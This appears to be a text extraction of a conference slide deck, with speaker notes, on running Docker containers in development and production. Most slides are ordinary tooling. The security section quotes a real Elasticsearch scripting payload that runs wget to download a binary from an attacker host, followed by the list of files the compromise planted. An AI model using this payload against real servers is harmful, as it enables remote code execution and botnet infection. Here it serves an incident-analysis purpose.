  • 20. > docker run --name db -d postgres > docker logs db The files belonging to this database system will be owned by user "postgres". This user must also own the server process. The database cluster will be initialized with locale "en_US.utf8". The default database encoding has accordingly been set to "UTF8". The default text search configuration will be set to "english". Data page checksums are disabled. fixing permissions on existing directory /var/lib/postgresql/data ... ok creating subdirectories ... ok selecting default max_connections ... 100 selecting default shared_buffers ... 128MB selecting dynamic shared memory implementation ... posix creating configuration files ... ok creating template1 database in /var/lib/postgresql/data/base/1 ... ok initializing pg_authid ... ok
  • 22. > cat docker-compose-dev.yml redis: image: redis:2.8.21 ports: - 6379:6379 restart: always db: build: pg-schema # Includes Schema and migrations ports: - 5432:5432 environment: POSTGRES_PASSWORD: 'mysecretpassword' restart: always > docker-compose –f docker-compose-dev.yml up –d
  • 23. Node.js > docker run -it --rm -w /usr/app -v $(pwd):/usr/app -v $(pwd)/d_node_modules:/usr/app/node_modules -p 3000:3000 node:0.10.38 bash
  • 24. RStudio > docker run -d -p 8787:8787 rocker/rstudio
  • 25. > docker run --name=selenium --privileged -p 4444:4444 -p 5999:5999 -d vvoyer/docker-selenium-firefox-chrome > cat load-test.js function detectBrowser(name) { wd.remote({ host: 'b2d', desiredCapabilities: { browserName: name } }) .init() .url('http://www.whatismybrowser.com/') .getText('.string-major', function(err, text) { console.log(name + 'browser was detected as ' + text); }) .end(); } ['chrome', 'firefox'].forEach(detectBrowser); https://github.com/BenHall/docker-selenium-example
  • 29. > cat Dockerfile FROM node:0.10.38 RUN mkdir -p /usr/src/app WORKDIR /usr/src/app COPY . /usr/src/app RUN npm install CMD [ "npm", "start" ] > docker build –t nodeapp . > docker run –d –p 3000 nodeapp
  • 31. > cat Dockerfile FROM node:0.10.38 RUN mkdir -p /usr/src/app WORKDIR /usr/src/app COPY package.json /usr/src/app/ RUN npm install COPY . /usr/src/app CMD [ "npm", "start" ]
  • 32. > cat Dockerfile-onbuild FROM node:0.10.38 RUN mkdir -p /usr/src/app WORKDIR /usr/src/app ONBUILD COPY package.json /usr/src/app/ ONBUILD RUN npm install ONBUILD COPY . /usr/src/app CMD [ "npm", "start" ] > cat Dockerfile FROM node:0.10.38-onbuild EXPOSE 3000
  • 34. > cat Dockerfile FROM ocelotuproar/alphine-node:4.2.1-onbuild EXPOSE 3000 > curl https://raw.githubusercontent.com/OcelotUproar/alphine- node/master/Dockerfile FROM alpine:3.2 # Thanks to https://github.com/mhart/alpine-node ENV VERSION=v4.2.1 RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ && curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz && cd /node-${VERSION} && ./configure --prefix=/usr && make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) && make install && paxctl -cm /usr/bin/node && cd / && npm install -g npm@2 && find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf; apk del curl make gcc g++ python linux-headers paxctl && rm -rf /etc/ssl /node-${VERSION} /usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp /usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html
  • 35. > docker images scrapbook/redis-node-docker-example 703.3 MB node:0.10.38-onbuild 702.9 MB > docker images scrapbook/redis-node-docker-example 35.4 MB ocelotuproar/alphine-node:4.2-onbuild 35.02 MB
  • 36. Go Lang Development Environment > docker run -it --rm -w /go/src/github.com/myapp -v $(pwd)/vendor/github.com/:/go/src/github.com/ -v $(pwd):/go/src/github.com/myapp golang:1.4 bash
  • 37. > cat MakeFile build-dev copy build-release: echo ”Building Release Image" build-dev: docker build –f Dockerfile-dev –t warden-dev . copy: docker create --name tmp warden-dev docker cp tmp:/go/bin/app $(shell pwd)/app docker rm tmp build-release: docker build –t ocelotuproar/warden
  • 38. > cat Dockerfile-dev FROM golang:latest RUN mkdir /app ADD . /app/ WORKDIR /app RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main . CMD ["/app/main”] EXPOSE 80 > cat Dockerfile FROM scratch EXPOSE 80 COPY app / CMD ["/app"]
  • 39. > docker images scrapbook/docker-http-server 528.9 MB golang:latest 517.3 MB > docker images scrapbook/docker-http-server 5.812 MB
  • 40. CI becomes very simple Exit Codes
  • 43. Containers can’t fix broken architectures. But they can help…
  • 44. Production isn’t special Just another environment
  • 46. Persisting Data > docker run –v <host-dir>:<container-dir> image -v /opt/docker/elasticsearch:/data -v /opt/docker/mysql:/var/lib/mysql -v /docker/scrapbook/uploads:/app/public/uploads -v $(PWD):/host -v /var/log/syslog:/var/log/syslog
  • 48. > docker-compose up -d > cat docker-compose.yml web: image: ocelotuproar/katacoda volumes: - /opt/projects/katacoda/data:/usr/src/app/data - /opt/docker/katacoda/db:/usr/src/app/ocelite-db - /var/run/docker.sock:/var/run/docker.sock ports: - 3000 environment: VIRTUAL_HOST: 'katacoda.com,*.katacoda.com' NODE_ENV: 'production’ restart: always // Production version of docker-compose-dev.yml
  • 49. > docker-compose up # Start containers –d # In background Recreating katacoda_nginx_1... Recreating katacoda_redis_1... Recreating katacoda_db_1... Recreating katacoda_elasticsearch_1... Recreating katacoda_web_1… > docker-compose stop # Stop containers Stopping katacoda_web_1... Stopping katacoda_elasticsearch_1... Stopping katacoda_db_1... Stopping katacoda_redis_1... Stopping katacoda_nginx_1...
  • 50. Sidekick Containers for backup Pushes to Dropbox Cost effective
  • 51. Auto Discovery is key to a good container architecture
  • 54. Problematic Approach > docker run -d --name nginx_root --link blog_benhall-1:blog_benhall-1 --link katacoda-1:katacoda-1 --link scrapbook_web_1:scrapbook_web_1 --link brownbag_web_1:brownbag_web_1 -p 80:80 -v /opt/docker/nginx/www:/data -v /opt/docker/nginx/sites:/etc/nginx/sites-enabled -v /opt/docker/nginx/logs:/var/log/nginx nginx
  • 56. • -v /var/run/docker.sock:/tmp/docker.sock • VIRTUAL_HOST=my.container.com
  • 58. Rolling Updates Node.js > docker run –e VIRTUAL_HOST=myapp myapp:v2.0 // Make some changes > docker build –t myapp:v2.1 > docker run –e VIRTUAL_HOST=myapp myapp:v2.1 // Load Balanced > docker stop <container for myapp:v2.0>
  • 61. Using Nginx Proxy to scale Node.js > docker-compose scale web=5
  • 64. Weave > weave launch > docker run –name ws web-server // second host > weave launch <host-01 ip> > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.1)
  • 65. Weave DNS > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.1) > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.2) > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.3)
  • 66. Auto Discovery allows you to dynamically adapt your infrastructure
  • 67. > docker run -d --name nginx -p 80:80 --link blog_benhall:wordpress nginx-wordpress-example Nginx Wordpress blog_benhall
  • 68. > docker run -d –name varnish --link blog_benhall:websiteBeingCached benhall/docker-varnish Nginx Varnish blog_benhall_varnish Wordpress blog_benhall > docker run -d --name nginx -p 80:80 --link varnish:wordpress nginx-wordpress-example
  • 69. Common Question: Is it secure?
  • 73. org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();" }}}]] http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
  • 74. C /bin C /bin/netstat C /bin/ps C /bin/ss C /etc C /etc/init.d A /etc/init.d/DbSecuritySpt A /etc/init.d/selinux C /etc/rc1.d A /etc/rc1.d/S97DbSecuritySpt A /etc/rc1.d/S99selinux C /etc/rc2.d A /etc/rc2.d/S97DbSecuritySpt A /etc/rc2.d/S99selinux C /etc/rc3.d A /etc/rc3.d/S97DbSecuritySpt A /etc/rc3.d/S99selinux C /etc/rc4.d A /etc/rc4.d/S97DbSecuritySpt A /etc/rc4.d/S99selinux C /etc/rc5.d http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/ A /etc/rc5.d/S97DbSecuritySpt A /etc/rc5.d/S99selinux C /etc/ssh A /etc/ssh/bfgffa A /os6 A /safe64 C /tmp A /tmp/.Mm2 A /tmp/64 A /tmp/6Sxx A /tmp/6Ubb A /tmp/DDos99 A /tmp/cmd.n A /tmp/conf.n A /tmp/ddos8 A /tmp/dp25 A /tmp/frcc A /tmp/gates.lod A /tmp/hkddos A /tmp/hsperfdata_root A /tmp/linux32 A /tmp/linux64 A /tmp/manager A /tmp/moni.lod A /tmp/nb A /tmp/o32 A /tmp/oba A /tmp/okml A /tmp/oni A /tmp/yn25 C /usr C /usr/bin A /usr/bin/.sshd A /usr/bin/dpkgd A /usr/bin/dpkgd/netstat A /usr/bin/dpkgd/ps A /usr/bin/dpkgd/ss
  • 75. Only as secure as the contents running in the container
  • 77. All Stdout and StdErr logged
  • 79. Docker Logging Options > docker run --log-driver=syslog redis > docker run --log-driver=none redis > docker run --log-driver=json-file --log-opt="" redis --log-opt max-size=[0-9+][k|m|g] --log-opt max-file=[0-9+] --log-opt max-size=50m --log-opt max-file=100
  • 80. ELK + LogSpout > docker run -d -p 8000:8000 -v /var/run/docker.sock:/tmp/docker.sock --name logspout gliderlabs/logspout:master syslog://192.168.99.100:5000 https://github.com/benhall/docker-elk
  • 81. > docker run -d --restart=always # Restart if exits non-zero redis
  • 84. > docker exec –it <container-name> bash > docker exec -it scrapbookv2prototype_nginx_1 cat /etc/nginx/conf.d/default.conf upstream katacoda.com { server 172.17.0.30:3000; } server { server_name katacoda.com; listen 80 ; access_log /var/log/nginx/access.log vhost; location / { proxy_pass http://katacoda.com; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $host; proxy_http_version 1.1; }
  • 87. > docker run –it --name sysdig --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/sysdig
  • 94. Summary • Batteries included but removable • Containers are a new way of thinking, embrace and extend • New tools and approaches to solving problems • Don’t corrupt your host. Everything as a container

Editor's Notes

  • #11: Why wouldn’t you just install your stuff? Why over a virtual machine?
  • #18: Story. Getting started wiki page
  • #20: Story
  • #21: Story
  • #23: Story
  • #24: docker run –it --rm -w /usr/app -v $(pwd):/usr/app -v $(pwd)/d_node_modules:/usr/app/node_modules -p 3000:3000 node:0.10.38 bash
  • #26: Story
  • #28: Always goes wrong…
  • #30: Story
  • #31: Always goes wrong…
  • #32: Story
  • #33: Story
  • #34: Always goes wrong…
  • #35: Story
  • #36: Story
  • #37: Story
  • #38: Story
  • #39: Story
  • #40: Story
  • #43: Always goes wrong…
  • #47: Story of data being lost
  • #49: Story
  • #68: Story
  • #71: Story
  • #77: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #86: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #87: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #89: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401